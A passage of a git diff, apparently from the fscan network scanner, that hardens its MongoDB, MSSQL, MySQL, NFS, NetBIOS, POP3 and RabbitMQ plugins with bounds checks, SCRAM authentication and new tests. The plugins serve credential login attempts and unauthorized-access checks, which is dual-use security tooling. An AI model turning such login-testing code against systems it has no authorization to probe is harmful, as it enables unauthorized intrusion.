docLen < 5 || docLen > len(doc) { + return reply, fmt.Errorf("invalid bson document length: %d", docLen) + } + pos := 4 + for pos < docLen-1 { + typ := doc[pos] + pos++ + keyStart := pos + for pos < docLen && doc[pos] != 0 { + pos++ + } + if pos >= docLen { + return reply, fmt.Errorf("unterminated bson key") + } + key := string(doc[keyStart:pos]) + pos++ + + switch typ { + case 0x01: // double + if pos+8 > docLen { + return reply, fmt.Errorf("short bson double") + } + if key == "ok" { + reply.ok = binary.LittleEndian.Uint64(doc[pos:pos+8]) != 0 + } + pos += 8 + case 0x02: // string + if pos+4 > docLen { + return reply, fmt.Errorf("short bson string length") + } + n := int(binary.LittleEndian.Uint32(doc[pos : pos+4])) + pos += 4 + if n <= 0 || pos+n > docLen { + return reply, fmt.Errorf("invalid bson string length: %d", n) + } + value := string(doc[pos : pos+n-1]) + pos += n + switch key { + case "errmsg": + reply.errmsg = value + case "payload": + reply.payload = []byte(value) + } + case 0x05: // binary + if pos+5 > docLen { + return reply, fmt.Errorf("short bson binary") + } + n := int(binary.LittleEndian.Uint32(doc[pos : pos+4])) + pos += 5 // length + subtype + if n < 0 || pos+n > docLen { + return reply, fmt.Errorf("invalid bson binary length: %d", n) + } + if key == "payload" { + reply.payload = append([]byte(nil), doc[pos:pos+n]...) + } + pos += n + case 0x03, 0x04: // document, array + if pos+4 > docLen { + return reply, fmt.Errorf("short bson embedded document") + } + n := int(binary.LittleEndian.Uint32(doc[pos : pos+4])) + if n < 5 || pos+n > docLen { + return reply, fmt.Errorf("invalid bson embedded document length: %d", n) + } + pos += n + case 0x07: // objectId + if pos+12 > docLen { + return reply, fmt.Errorf("short bson objectId") + } + pos += 12 + case 0x08: // bool + if pos+1 > docLen { + return reply, fmt.Errorf("short bson bool") + } + if key == "done" { + reply.done = doc[pos] != 0 + } + if key == "ok" { + reply.ok = doc[pos] != 0 + } + pos++ + case 0x10: // int32 + if pos+4 > docLen { + return reply, fmt.Errorf("short bson int32") + } + value := int32(binary.LittleEndian.Uint32(doc[pos : pos+4])) + if key == "conversationId" { + reply.conversationID = value + reply.conversationSet = true + } + if key == "ok" { + reply.ok = value != 0 + } + pos += 4 + case 0x09, 0x11: // datetime, timestamp + if pos+8 > docLen { + return reply, fmt.Errorf("short bson fixed64") + } + pos += 8 + case 0x0a, 0x7f, 0xff: // null, maxKey, minKey + case 0x12: // int64 + if pos+8 > docLen { + return reply, fmt.Errorf("short bson int64") + } + if key == "ok" { + reply.ok = binary.LittleEndian.Uint64(doc[pos:pos+8]) != 0 + } + pos += 8 + case 0x13: // decimal128 + if pos+16 > docLen { + return reply, fmt.Errorf("short bson decimal128") + } + pos += 16 + default: + return reply, fmt.Errorf("unsupported bson type 0x%02x for key %s", typ, key) + } + } + return reply, nil +} + +func buildMongoSCRAMClientFinal(username, password, clientFirstBare, serverFirst string) (string, error) { + attrs := parseSCRAMAttributes(serverFirst) + serverNonce := attrs["r"] + saltB64 := attrs["s"] + iterText := attrs["i"] + if serverNonce == "" || saltB64 == "" || iterText == "" { + return "", fmt.Errorf("invalid SCRAM server-first payload") + } + clientNonce := scramAttr(clientFirstBare, "r") + if clientNonce == "" || !strings.HasPrefix(serverNonce, clientNonce) { + return "", fmt.Errorf("invalid SCRAM nonce") + } + salt, err := base64.StdEncoding.DecodeString(saltB64) + if err != nil { + return "", fmt.Errorf("invalid SCRAM salt: %w", err) + } + iterations, err := strconv.Atoi(iterText) + if err != nil || iterations <= 0 { + return "", fmt.Errorf("invalid SCRAM iteration count") + } + + clientFinalWithoutProof := "c=biws,r=" + serverNonce + authMessage := clientFirstBare + "," + serverFirst + "," + clientFinalWithoutProof + digest := md5.Sum([]byte(username + ":mongo:" + password)) + saltedPassword := pbkdf2.Key([]byte(fmt.Sprintf("%x", digest)), salt, iterations, sha1.Size, sha1.New) + clientKey := mongoHMAC(saltedPassword, []byte("Client Key")) + storedKey := sha1.Sum(clientKey) + clientSignature := mongoHMAC(storedKey[:], []byte(authMessage)) + proof := make([]byte, len(clientKey)) + for i := range clientKey { + proof[i] = clientKey[i] ^ clientSignature[i] + } + return clientFinalWithoutProof + ",p=" + base64.StdEncoding.EncodeToString(proof), nil +} + +func parseSCRAMAttributes(payload string) map[string]string { + attrs := make(map[string]string) + for _, part := range strings.Split(payload, ",") { + if len(part) < 3 || part[1] != '=' { + continue + } + attrs[part[:1]] = part[2:] + } + return attrs +} + +func scramAttr(payload, key string) string { + return parseSCRAMAttributes(payload)[key] +} + +func mongoHMAC(key, data []byte) []byte { + mac := hmac.New(sha1.New, key) + _, _ = mac.Write(data) + return mac.Sum(nil) +} + // dialTCP 带超时的 TCP 连接 func dialTCP(ctx context.Context, addr string, timeout time.Duration) (net.Conn, error) { dialer := net.Dialer{Timeout: timeout} diff --git a/plugins/services/mongodb_test.go b/plugins/services/mongodb_test.go new file mode 100644 index 0000000..df40fae --- /dev/null +++ b/plugins/services/mongodb_test.go @@ -0,0 +1,130 @@ +//go:build plugin_mongodb || !plugin_selective + +package services + +import ( + "bytes" + "encoding/base64" + "encoding/binary" + "strings" + "testing" + "time" +) + +func TestReadMongoMsgRejectsTooLargeResponse(t *testing.T) { + header := make([]byte, 16) + binary.LittleEndian.PutUint32(header[:4], uint32(16+maxMongoMessageBody+1)) + + _, err := readMongoMsg(bytes.NewReader(header), time.Second) + if err == nil { + t.Fatal("readMongoMsg() error = nil, want too-large response error") + } + if !strings.Contains(err.Error(), "too large") { + t.Fatalf("readMongoMsg() error = %v, want too large", err) + } +} + +func TestReadMongoMsgHandlesEmptyBody(t *testing.T) { + header := make([]byte, 16) + binary.LittleEndian.PutUint32(header[:4], 16) + + got, err := readMongoMsg(bytes.NewReader(header), time.Second) + if err != nil { + t.Fatalf("readMongoMsg() error = %v", err) + } + if len(got) != 0 { + t.Fatalf("readMongoMsg() len = %d, want 0", len(got)) + } +} + +func TestBuildBSONEncodesFullStringAndBinaryLengths(t *testing.T) { + longString := strings.Repeat("a", 300) + longBinary := bytes.Repeat([]byte{0x42}, 300) + + doc := buildBSON(mongoDoc{"s": longString}) + pos := 4 + if doc[pos] != 0x02 { + t.Fatalf("first bson type = 0x%02x, want string", doc[pos]) + } + pos += 1 + len("s") + 1 + if got := binary.LittleEndian.Uint32(doc[pos : pos+4]); got != uint32(len(longString)+1) { + t.Fatalf("string length = %d, want %d", got, len(longString)+1) + } + + doc = buildBSON(mongoDoc{"b": longBinary}) + pos = 4 + if doc[pos] != 0x05 { + t.Fatalf("first bson type = 0x%02x, want binary", doc[pos]) + } + pos += 1 + len("b") + 1 + if got := binary.LittleEndian.Uint32(doc[pos : pos+4]); got != uint32(len(longBinary)) { + t.Fatalf("binary length = %d, want %d", got, len(longBinary)) + } +} + +func TestBuildBSONEncodesFloat64Bits(t *testing.T) { + doc := buildBSON(mongoDoc{"ok": 1.5}) + pos := 4 + if doc[pos] != 0x01 { + t.Fatalf("bson type = 0x%02x, want double", doc[pos]) + } + pos += 1 + len("ok") + 1 + if got := binary.LittleEndian.Uint64(doc[pos : pos+8]); got != 0x3ff8000000000000 { + t.Fatalf("double bits = 0x%x, want 1.5 bits", got) + } +} + +func TestParseMongoCommandReplyReadsSCRAMFields(t *testing.T) { + payload := []byte("r=clientserver,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096") + doc := buildBSON(mongoDoc{ + "ok": 1, + "conversationId": 7, + "payload": payload, + "done": false, + }) + + reply, err := parseMongoCommandReply(doc) + if err != nil { + t.Fatalf("parseMongoCommandReply() error = %v", err) + } + if !reply.ok || !reply.conversationSet || reply.conversationID != 7 || string(reply.payload) != string(payload) { + t.Fatalf("unexpected reply: %+v", reply) + } +} + +func TestParseMongoCommandReplySkipsExtraBSONFields(t *testing.T) { + payload := []byte("r=clientserver,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096") + doc := buildBSON(mongoDoc{ + "$clusterTime": mongoDoc{"clusterTime": 1}, + "operationTime": int64(123), + "ok": 1, + "conversationId": 9, + "payload": payload, + }) + + reply, err := parseMongoCommandReply(doc) + if err != nil { + t.Fatalf("parseMongoCommandReply() error = %v", err) + } + if !reply.ok || reply.conversationID != 9 || string(reply.payload) != string(payload) { + t.Fatalf("unexpected reply: %+v", reply) + } +} + +func TestBuildMongoSCRAMClientFinalRejectsBadNonce(t *testing.T) { + serverFirst := "r=othernonce,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096" + if _, err := buildMongoSCRAMClientFinal("user", "pass", "n=user,r=client", serverFirst); err == nil { + t.Fatal("buildMongoSCRAMClientFinal() error = nil, want nonce error") + } +} + +func TestBuildMongoSCRAMClientFinalBuildsProof(t *testing.T) { + serverFirst := "r=clientserver,s=" + base64.StdEncoding.EncodeToString([]byte("salt")) + ",i=4096" + got, err := buildMongoSCRAMClientFinal("user", "pass", "n=user,r=client", serverFirst) + if err != nil { + t.Fatalf("buildMongoSCRAMClientFinal() error = %v", err) + } + if !strings.HasPrefix(got, "c=biws,r=clientserver,p=") { + t.Fatalf("client final = %q", got) + } +} diff --git a/plugins/services/mssql_raw.go b/plugins/services/mssql_raw.go index 8b3cbfc..4d2a242 100644 --- a/plugins/services/mssql_raw.go +++ b/plugins/services/mssql_raw.go @@ -23,6 +23,7 @@ const ( tdsVersion74 = 0x74000004 tdsDefaultPacketLen = 4096 + maxTDSMessageSize = 1024 * 1024 tdsPreloginVersion = 0 tdsPreloginEncryption = 1 @@ -439,6 +440,9 @@ func mssqlReadMessage(r io.Reader) (byte, []byte, error) { if _, err := io.ReadFull(r, chunk); err != nil { return 0, nil, err } + if len(payload)+len(chunk) > maxTDSMessageSize { + return 0, nil, fmt.Errorf("mssql: message too large") + } payload = append(payload, chunk...) if header[1]&tdsStatusEOM != 0 { return packetType, payload, nil diff --git a/plugins/services/mssql_raw_test.go b/plugins/services/mssql_raw_test.go index d49c930..e404b28 100644 --- a/plugins/services/mssql_raw_test.go +++ b/plugins/services/mssql_raw_test.go @@ -37,3 +37,27 @@ func TestMSSQLLogin7DoesNotExposeClientIdentity(t *testing.T) { } } } + +func TestMSSQLReadMessageRejectsOversizedMultipartMessage(t *testing.T) { + var packet bytes.Buffer + remaining := maxTDSMessageSize + 1 + for remaining > 0 { + chunkLen := remaining + if chunkLen > 65527 { + chunkLen = 65527 + } + remaining -= chunkLen + status := byte(0) + if remaining == 0 { + status = tdsStatusEOM + } + header := []byte{tdsPacketReply, status, 0, 0, 0, 0, 1, 0} + binary.BigEndian.PutUint16(header[2:4], uint16(chunkLen+8)) + packet.Write(header) + packet.Write(bytes.Repeat([]byte{0x41}, chunkLen)) + } + + if _, _, err := mssqlReadMessage(&packet); err == nil { + t.Fatal("mssqlReadMessage() error = nil, want oversized message error") + } +} diff --git a/plugins/services/mysql.go b/plugins/services/mysql.go index d0546b4..6b97adb 100644 --- a/plugins/services/mysql.go +++ b/plugins/services/mysql.go @@ -6,9 +6,11 @@ import ( "context" "database/sql" "fmt" + "io" "log" "net" "strconv" + "strings" "time" "github.com/go-sql-driver/mysql" @@ -77,8 +79,14 @@ func (p *MySQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi // doMySQLAuth 执行MySQL认证 func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { - connStr := fmt.Sprintf("%s:%s@tcp(%s)/information_schema?charset=utf8&timeout=%ds", - cred.Username, cred.Password, net.JoinHostPort(info.Host, strconv.Itoa(info.Port)), int64(config.Timeout.Seconds())) + connStr, err := mySQLConnString(cred.Username, cred.Password, info, config.Timeout) + if err != nil { + return &AuthResult{ + Success: false, + ErrorType: ErrorTypeAuth, + Error: err, + } + } db, err := sql.Open("mysql", connStr) if err != nil { @@ -115,6 +123,21 @@ func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cr } } +func mySQLConnString(username, password string, info *common.HostInfo, timeout time.Duration) (string, error) { + if strings.ContainsAny(username, ":@/") { + return "", fmt.Errorf("mysql username contains unsupported DSN delimiter") + } + cfg := mysql.NewConfig() + cfg.User = username + cfg.Passwd = password + cfg.Net = "tcp" + cfg.Addr = net.JoinHostPort(info.Host, strconv.Itoa(info.Port)) + cfg.DBName = "information_schema" + cfg.Params = map[string]string{"charset": "utf8"} + cfg.Timeout = timeout + return cfg.FormatDSN(), nil +} + // classifyMySQLErrorType MySQL错误分类 func classifyMySQLErrorType(err error) ErrorType { if err == nil { @@ -173,28 +196,32 @@ func (p *MySQLPlugin) identifyService(ctx context.Context, info *common.HostInfo func (p *MySQLPlugin) readMySQLBanner(conn net.Conn, config *common.Config) string { _ = conn.SetReadDeadline(time.Now().Add(config.Timeout)) - handshake := make([]byte, 256) - n, err := conn.Read(handshake) - if err != nil || n < 10 { + header := make([]byte, 5) + if _, err := io.ReadFull(conn, header); err != nil { return "" } - if handshake[4] != 10 { + if header[4] != 10 { return "" } - versionStart := 5 - versionEnd := versionStart - for versionEnd < n && handshake[versionEnd] != 0 { - versionEnd++ + version := make([]byte, 0, 64) + var b [1]byte + for len(version) < 250 { + if _, err := io.ReadFull(conn, b[:]); err != nil { + return "" + } + if b[0] == 0 { + break + } + version = append(version, b[0]) } - if versionEnd <= versionStart { + if len(version) == 0 { return "" } - versionStr := string(handshake[versionStart:versionEnd]) - return fmt.Sprintf("MySQL %s", versionStr) + return fmt.Sprintf("MySQL %s", string(version)) } func init() { diff --git a/plugins/services/mysql_test.go b/plugins/services/mysql_test.go new file mode 100644 index 0000000..2a22d03 --- /dev/null +++ b/plugins/services/mysql_test.go @@ -0,0 +1,87 @@ +//go:build plugin_mysql || !plugin_selective + +package services + +import ( + "io" + "net" + "strings" + "testing" + "time" + + "github.com/go-sql-driver/mysql" + "github.com/shadow1ng/fscan/common" +) + +type chunkedMySQLConn struct { + data []byte + chunkSize int +} + +func (c *chunkedMySQLConn) Read(p []byte) (int, error) { + if len(c.data) == 0 { + return 0, io.EOF + } + n := len(c.data) + if c.chunkSize > 0 && n > c.chunkSize { + n = c.chunkSize + } + if n > len(p) { + n = len(p) + } + copy(p, c.data[:n]) + c.data = c.data[n:] + return n, nil +} + +func (c *chunkedMySQLConn) Write([]byte) (int, error) { return 0, nil } +func (c *chunkedMySQLConn) Close() error { return nil } +func (c *chunkedMySQLConn) LocalAddr() net.Addr { return nil } +func (c *chunkedMySQLConn) RemoteAddr() net.Addr { return nil } +func (c *chunkedMySQLConn) SetDeadline(time.Time) error { return nil } +func (c *chunkedMySQLConn) SetReadDeadline(time.Time) error { return nil } +func (c *chunkedMySQLConn) SetWriteDeadline(time.Time) error { + return nil +} + +func TestReadMySQLBannerHandlesChunkedHandshake(t *testing.T) { + data := []byte{0x2a, 0x00, 0x00, 0x00, 0x0a} + data = append(data, []byte("8.0.36\x00")...) + got := NewMySQLPlugin().readMySQLBanner(&chunkedMySQLConn{data: data, chunkSize: 1}, &common.Config{Timeout: time.Second}) + if got != "MySQL 8.0.36" { + t.Fatalf("readMySQLBanner() = %q, want MySQL 8.0.36", got) + } +} + +func TestMySQLConnStringEscapesCredentialsAndIPv6(t *testing.T) { + info := &common.HostInfo{Host: "2001:db8::1", Port: 3306} + got, err := mySQLConnString("user", "pa:ss@/word", info, 3*time.Second) + if err != nil { + t.Fatalf("mySQLConnString() error = %v", err) + } + + for _, want := range []string{ + "user:pa:ss@/word@tcp([2001:db8::1]:3306)/information_schema", + "charset=utf8", + "timeout=3s", + } { + if !strings.Contains(got, want) { + t.Fatalf("mySQLConnString() = %q, missing %q", got, want) + } + } + + cfg, err := mysql.ParseDSN(got) + if err != nil { + t.Fatalf("mysql.ParseDSN() error = %v", err) + } + if cfg.User != "user" || cfg.Passwd != "pa:ss@/word" || cfg.Addr != "[2001:db8::1]:3306" { + t.Fatalf("parsed DSN user/pass/addr = %q/%q/%q", cfg.User, cfg.Passwd, cfg.Addr) + } +} + +func TestMySQLConnStringRejectsUnsupportedUsernameDelimiters(t *testing.T) { + info := &common.HostInfo{Host: "127.0.0.1", Port: 3306} + if _, err := mySQLConnString("user:name", "pass", info, time.Second); err == nil { + t.Fatal("mySQLConnString() error = nil, want unsupported delimiter error") + } +} diff --git a/plugins/services/neo4j.go b/plugins/services/neo4j.go index 4fab360..38c5748 100644 --- a/plugins/services/neo4j.go +++ b/plugins/services/neo4j.go @@ -5,7 +5,6 @@ package services import ( "context" "fmt" - "io" "net/http" "strings" @@ -163,7 +162,7 @@ func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H defer func() { _ = resp.Body.Close() }() if resp.StatusCode == 200 { - body, err := io.ReadAll(resp.Body) + body, err := readServiceHTTPBody(resp.Body) if err != nil { return &ScanResult{ Success: false, @@ -221,7 +220,7 @@ func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo if serverHeader != "" && strings.Contains(strings.ToLower(serverHeader), "neo4j") { banner = "Neo4j" } else if resp.StatusCode == 200 || resp.StatusCode == 401 { - body, err := io.ReadAll(resp.Body) + body, err := readServiceHTTPBody(resp.Body) if err != nil { return &ScanResult{ Success: false, diff --git a/plugins/services/neo4j_test.go b/plugins/services/neo4j_test.go index 0ad6a9f..33807eb 100644 --- a/plugins/services/neo4j_test.go +++ b/plugins/services/neo4j_test.go @@ -1,39 +1,14 @@ +//go:build plugin_neo4j || !plugin_selective + package services import ( "context" - "net" "net/http" "net/http/httptest" - "net/url" - "strconv" "testing" - - "github.com/shadow1ng/fscan/common" ) -func testSession() *common.ScanSession { - cfg := common.NewConfig() - return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) -} - -func hostInfoFromServer(t *testing.T, server *httptest.Server) *common.HostInfo { - t.Helper() - u, err := url.Parse(server.URL) - if err != nil { - t.Fatalf("Parse server URL error = %v", err) - } - host, portText, err := net.SplitHostPort(u.Host) - if err != nil { - t.Fatalf("SplitHostPort error = %v", err) - } - port, err := strconv.Atoi(portText) - if err != nil { - t.Fatalf("Atoi port error = %v", err) - } - return &common.HostInfo{Host: host, Port: port} -} - func TestNeo4jIdentifyRejectsGenericHTTP(t *testing.T) { server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { _, _ = w.Write([]byte("plain http service")) diff --git a/plugins/services/netbios.go b/plugins/services/netbios.go index f509152..886a29b 100644 --- a/plugins/services/netbios.go +++ b/plugins/services/netbios.go @@ -5,6 +5,7 @@ package services import ( "bytes" "context" + "encoding/binary" "fmt" "net" "strings" @@ -360,13 +361,13 @@ func (p *NetBIOSPlugin) parseNetBIOSSession(data []byte) (*NetBIOSInfo, error) { // parseNTLMInfo 解析NTLM信息 func (p *NetBIOSPlugin) parseNTLMInfo(data []byte, info *NetBIOSInfo) { - if len(data) < 45 { + if len(data) < 48 { return } // 获取Target Info偏移和长度 targetInfoLength := int(data[40]) + int(data[41])*256 - targetInfoOffset := int(data[44]) + targetInfoOffset := int(binary.LittleEndian.Uint32(data[44:48])) if targetInfoOffset+targetInfoLength > len(data) { return diff --git a/plugins/services/netbios_test.go b/plugins/services/netbios_test.go new file mode 100644 index 0000000..5b0fbc6 --- /dev/null +++ b/plugins/services/netbios_test.go @@ -0,0 +1,40 @@ +//go:build plugin_netbios || !plugin_selective + +package services + +import ( + "encoding/binary" + "testing" + "unicode/utf16" +) + +func TestParseNTLMInfoUsesFullTargetInfoOffset(t *testing.T) { + p := NewNetBIOSPlugin() + info := &NetBIOSInfo{} + + targetInfo := appendNTLMAVPair(nil, 0x0003, "HOST.example.local") + targetInfo = append(targetInfo, 0x00, 0x00, 0x00, 0x00) + + const targetOffset = 300 + data := make([]byte, targetOffset+len(targetInfo)) + copy(data, "NTLMSSP\x00") + binary.LittleEndian.PutUint16(data[40:42], uint16(len(targetInfo))) + binary.LittleEndian.PutUint32(data[44:48], targetOffset) + copy(data[targetOffset:], targetInfo) + + p.parseNTLMInfo(data, info) + if info.ComputerName != "HOST.example.local" { + t.Fatalf("ComputerName = %q, want HOST.example.local", info.ComputerName) + } +} + +func appendNTLMAVPair(dst []byte, id uint16, value string) []byte { + encoded := utf16.Encode([]rune(value)) + buf := make([]byte, 4+len(encoded)*2) + binary.LittleEndian.PutUint16(buf[0:2], id) + binary.LittleEndian.PutUint16(buf[2:4], uint16(len(encoded)*2)) + for i, r := range encoded { + binary.LittleEndian.PutUint16(buf[4+i*2:6+i*2], r) + } + return append(dst, buf...) +} diff --git a/plugins/services/nfs.go b/plugins/services/nfs.go index a9a72e4..47fd901 100644 --- a/plugins/services/nfs.go +++ b/plugins/services/nfs.go @@ -6,6 +6,7 @@ import ( "context" "encoding/binary" "fmt" + "io" "time" "github.com/shadow1ng/fscan/common" @@ -88,13 +89,11 @@ func (p *NFSPlugin) rpcNullCall(conn interface { return err } - buf := make([]byte, 512) - n, err := conn.Read(buf) - if err != nil || n < 28 { + reply, err := readRPCFragment(conn, 512) + if err != nil || len(reply) < 24 { return fmt.Errorf("short response") } - reply := buf[4:n] replyXID := binary.BigEndian.Uint32(reply[0:4]) if replyXID != xid { return fmt.Errorf("xid mismatch") @@ -119,15 +118,10 @@ func (p *NFSPlugin) getExports(conn interface { return nil, err } - // Read fragment header (4 bytes) + response - buf := make([]byte, 4096) - n, err := conn.Read(buf) - if err != nil || n < 28 { - return nil, fmt.Errorf("short response: %d bytes", n) + reply, err := readRPCFragment(conn, 4096) + if err != nil { + return nil, err } - - // Skip fragment header (4 bytes), parse RPC reply - reply := buf[4:n] if len(reply) < 24 { return nil, fmt.Errorf("invalid reply") } @@ -152,7 +146,16 @@ func (p *NFSPlugin) getExports(conn interface { } // verifier flavor + length verifierLen := binary.BigEndian.Uint32(reply[offset+4 : offset+8]) + if verifierLen > uint32(len(reply)-offset-8) { + return nil, fmt.Errorf("truncated verifier") + } offset += 8 + int(verifierLen) + if pad := (4 - verifierLen%4) % 4; pad > 0 { + if int(pad) > len(reply)-offset { + return nil, fmt.Errorf("truncated verifier padding") + } + offset += int(pad) + } // Accept status if offset+4 > len(reply) { @@ -201,8 +204,15 @@ func (p *NFSPlugin) parseExportList(data []byte) []string { break } groupLen := binary.BigEndian.Uint32(data[offset : offset+4]) - offset += 4 + int(groupLen) + offset += 4 + if groupLen > uint32(len(data)-offset) { + break + } + offset += int(groupLen) if pad := (4 - groupLen%4) % 4; pad > 0 { + if int(pad) > len(data)-offset { + break + } offset += int(pad) } } @@ -210,6 +220,24 @@ func (p *NFSPlugin) parseExportList(data []byte) []string { return exports } +func readRPCFragment(conn interface { + Read([]byte) (int, error) +}, maxPayload int) ([]byte, error) { + var header [4]byte + if _, err := io.ReadFull(conn, header[:]); err != nil { + return nil, fmt.Errorf("short fragment header: %w", err) + } + size := int(binary.BigEndian.Uint32(header[:]) & 0x7fffffff) + if size <= 0 || size > maxPayload { + return nil, fmt.Errorf("invalid fragment size: %d", size) + } + payload := make([]byte, size) + if _, err := io.ReadFull(conn, payload); err != nil { + return nil, fmt.Errorf("short fragment payload: %w", err) + } + return payload, nil +} + func (p *NFSPlugin) buildRPCCall(xid, program, version, procedure uint32, data []byte) []byte { authNone := []byte{0, 0, 0, 0, 0, 0, 0, 0} // AUTH_NONE flavor=0, len=0 diff --git a/plugins/services/nfs_test.go b/plugins/services/nfs_test.go new file mode 100644 index 0000000..0646f58 --- /dev/null +++ b/plugins/services/nfs_test.go @@ -0,0 +1,101 @@ +//go:build plugin_nfs || !plugin_selective + +package services + +import ( + "bytes" + "encoding/binary" + "io" + "testing" +) + +type nfsTestConn struct { + data []byte + chunkSize int + w bytes.Buffer +} + +func (c *nfsTestConn) Read(p []byte) (int, error) { + if len(c.data) == 0 { + return 0, io.EOF + } + n := len(c.data) + if c.chunkSize > 0 && n > c.chunkSize { + n = c.chunkSize + } + if n > len(p) { + n = len(p) + } + copy(p, c.data[:n]) + c.data = c.data[n:] + return n, nil +} + +func (c *nfsTestConn) Write(p []byte) (int, error) { return c.w.Write(p) } + +func TestNFSRPCNullCallHandlesFragmentedReads(t *testing.T) { + p := NewNFSPlugin() + xid := uint32(0x12340000 + 100003) + reply := make([]byte, 24) + binary.BigEndian.PutUint32(reply[0:4], xid) + binary.BigEndian.PutUint32(reply[4:8], 1) + + if err := p.rpcNullCall(&nfsTestConn{data: wrapNFSReply(reply), chunkSize: 2}, 100003, 3); err != nil { + t.Fatalf("rpcNullCall() error = %v", err) + } +} + +func TestNFSGetExportsHandlesVerifierPadding(t *testing.T) { + p := NewNFSPlugin() + var reply []byte + reply = binary.BigEndian.AppendUint32(reply, 0x12345678) // xid + reply = binary.BigEndian.AppendUint32(reply, 1) // reply + reply = binary.BigEndian.AppendUint32(reply, 0) // accepted + reply = binary.BigEndian.AppendUint32(reply, 0) // verifier flavor + reply = binary.BigEndian.AppendUint32(reply, 3) // verifier length + reply = append(reply, 'a', 'b', 'c', 0) // padded verifier + reply = binary.BigEndian.AppendUint32(reply, 0) // accept success + reply = binary.BigEndian.AppendUint32(reply, 1) // export follows + reply = binary.BigEndian.AppendUint32(reply, 2) // path length + reply = append(reply, '/', 'x', 0, 0) // padded path + reply = binary.BigEndian.AppendUint32(reply, 0) // no groups + reply = binary.BigEndian.AppendUint32(reply, 0) // no more exports + + exports, err := p.getExports(&nfsTestConn{data: wrapNFSReply(reply), chunkSize: 3}) + if err != nil { + t.Fatalf("getExports() error = %v", err) + } + if len(exports) != 1 || exports[0] != "/x" { + t.Fatalf("exports = %#v, want [/x]", exports) + } +} + +func TestNFSReadRPCFragmentRejectsInvalidSize(t *testing.T) { + header := make([]byte, 4) + binary.BigEndian.PutUint32(header, 0x80000000) + if _, err := readRPCFragment(&nfsTestConn{data: header}, 4096); err == nil { + t.Fatal("readRPCFragment() error = nil, want invalid zero-size fragment error") + } +} + +func TestNFSParseExportListStopsOnTruncatedGroup(t *testing.T) { + p := NewNFSPlugin() + var data []byte + data = binary.BigEndian.AppendUint32(data, 1) + data = binary.BigEndian.AppendUint32(data, 2) + data = append(data, '/', 'x', 0, 0) + data = binary.BigEndian.AppendUint32(data, 1) + data = binary.BigEndian.AppendUint32(data, 100) + + exports := p.parseExportList(data) + if len(exports) != 1 || exports[0] != "/x" { + t.Fatalf("exports = %#v, want [/x]", exports) + } +} + +func wrapNFSReply(payload []byte) []byte { + out := make([]byte, 4+len(payload)) + binary.BigEndian.PutUint32(out[:4], uint32(len(payload))|0x80000000) + copy(out[4:], payload) + return out +} diff --git a/plugins/services/pop3.go b/plugins/services/pop3.go index 5206be5..02c251d 100644 --- a/plugins/services/pop3.go +++ b/plugins/services/pop3.go @@ -87,6 +87,9 @@ func (p *POP3Plugin) tryLogin(ctx context.Context, info *common.HostInfo, cred p if _, err := reader.ReadString('\n'); err != nil { return nil } + if err := rejectLineBreaks(cred.Username, cred.Password); err != nil { + return nil + } if _, err := fmt.Fprintf(conn, "USER %s\r\n", cred.Username); err != nil { return nil diff --git a/plugins/services/postgresql.go b/plugins/services/postgresql.go index 5cc2c46..467a47e 100644 --- a/plugins/services/postgresql.go +++ b/plugins/services/postgresql.go @@ -207,9 +207,7 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com } vulInfo := i18n.Tr("postgresql_trust_unauth_version", version) - if len(vulInfo) > 100 { - vulInfo = vulInfo[:100] + "..." - } + vulInfo = truncateRunes(vulInfo, 100) return &ScanResult{ Type: plugins.ResultTypeVuln, diff --git a/plugins/services/postgresql_test.go b/plugins/services/postgresql_test.go index b07be52..1bbeec6 100644 --- a/plugins/services/postgresql_test.go +++ b/plugins/services/postgresql_test.go @@ -1,3 +1,5 @@ +//go:build plugin_postgresql || !plugin_selective + package services import ( @@ -21,3 +23,10 @@ func TestPostgreSQLConnStringEscapesIPv6AndCredentials(t *testing.T) { } } } + +func TestPostgreSQLVulnInfoTruncatesByRune(t *testing.T) { + got := truncateRunes(strings.Repeat("界", 105), 100) + if len([]rune(got)) != 103 || !strings.HasSuffix(got, "...") { + t.Fatalf("postgresql truncation helper = %q", got) + } +} diff --git a/plugins/services/protocol_ids_test.go b/plugins/services/protocol_ids_test.go index f344c76..a967e2f 100644 --- a/plugins/services/protocol_ids_test.go +++ b/plugins/services/protocol_ids_test.go @@ -1,3 +1,5 @@ +//go:build !plugin_selective || (plugin_mongodb && plugin_kafka && plugin_cassandra) + package services import ( diff --git a/plugins/services/rabbitmq.go b/plugins/services/rabbitmq.go index 34cefcf..a413698 100644 --- a/plugins/services/rabbitmq.go +++ b/plugins/services/rabbitmq.go @@ -228,24 +228,39 @@ func (p *RabbitMQPlugin) testAMQPProtocol(ctx context.Context, info *common.Host return nil } - buffer := make([]byte, 32) - n, err := conn.Read(buffer) - if err != nil || n < 4 { + ok, err := readRabbitMQAMQPResponse(conn) + if err != nil || !ok { return nil } - if string(buffer[:4]) == "AMQP" || (n >= 8 && buffer[0] == 0x01) { - banner := "RabbitMQ AMQP" - session.LogSuccess(i18n.Tr("rabbitmq_service", target, banner)) - return &ScanResult{ - Type: plugins.ResultTypeService, - Success: true, - Service: "rabbitmq", - Banner: banner, - } + banner := "RabbitMQ AMQP" + session.LogSuccess(i18n.Tr("rabbitmq_service", target, banner)) + return &ScanResult{ + Type: plugins.ResultTypeService, + Success: true, + Service: "rabbitmq", + Banner: banner, } +} - return nil +func readRabbitMQAMQPResponse(conn interface { + Read([]byte) (int, error) +}) (bool, error) { + header := make([]byte, 4) + if _, err := io.ReadFull(conn, header); err != nil { + return false, err + } + if string(header) == "AMQP" { + return true, nil + } + if header[0] != 0x01 { + return false, nil + } + rest := make([]byte, 4) + if _, err := io.ReadFull(conn, rest); err != nil { + return false, err + } + return true, nil } func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { @@ -287,7 +302,7 @@ func (p *RabbitMQPlugin) 